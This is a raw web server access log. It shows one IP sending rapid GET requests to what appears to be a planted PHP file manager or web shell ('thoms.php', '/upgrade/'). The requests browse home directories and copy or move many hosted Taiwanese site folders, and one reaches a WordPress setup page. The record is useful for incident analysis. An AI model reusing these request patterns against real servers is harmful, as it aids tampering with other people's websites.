45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7911 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8418 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5784 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=file HTTP/1.1" 200 6478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /wordpress-6.6.2-zh_TW/setup-config.php?language=zh_TW&step=1 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bfl.com.tw HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bossini.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=betcity.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=cgi-bin HTTP/1.1" 200 11305 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=wp-content HTTP/1.1" 200 11339 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11382 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17409 "https://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=upgrade HTTP/1.1" 200 11304 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /bft.com.tw/?step=0 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bft.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11421 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/?step=0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /thoms.php?copy=upgrade&p=bestjudy.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17408 "https://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:05 -0400] "GET /thoms.php?copy=upgrade&p=bfl.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11381 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:04 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&p=big-wife.com.tw HTTP/1.1" 200 11421 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17408 "https://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&p=besth2o.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&p=bestzyx.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&p=cgi-bin HTTP/1.1" 200 11301 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&p=ba-guo.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&p=bogroup.com.tw HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&p=broadweb.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&p=biotaiwan.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&p=bft.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&p=bodbooks.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17416 "https://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:06 -0400] "GET /thoms.php?copy=upgrade&p=booking-wise2.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=upgrade&p=bossini.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=upgrade&p=betcity.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=upgrade&p=upgrade HTTP/1.1" 200 11304 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=upgrade&p=wp-content HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=upgrade&p=beauty-dental.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=upgrade&p=bioway88.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11417 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=upgrade HTTP/1.1" 200 11311 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=wp-content HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:08 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:08 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:08 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:08 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:08 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:08 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17711 "https://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:08 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:08 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=cgi-bin HTTP/1.1" 200 11325 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:08 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:08 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:08 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
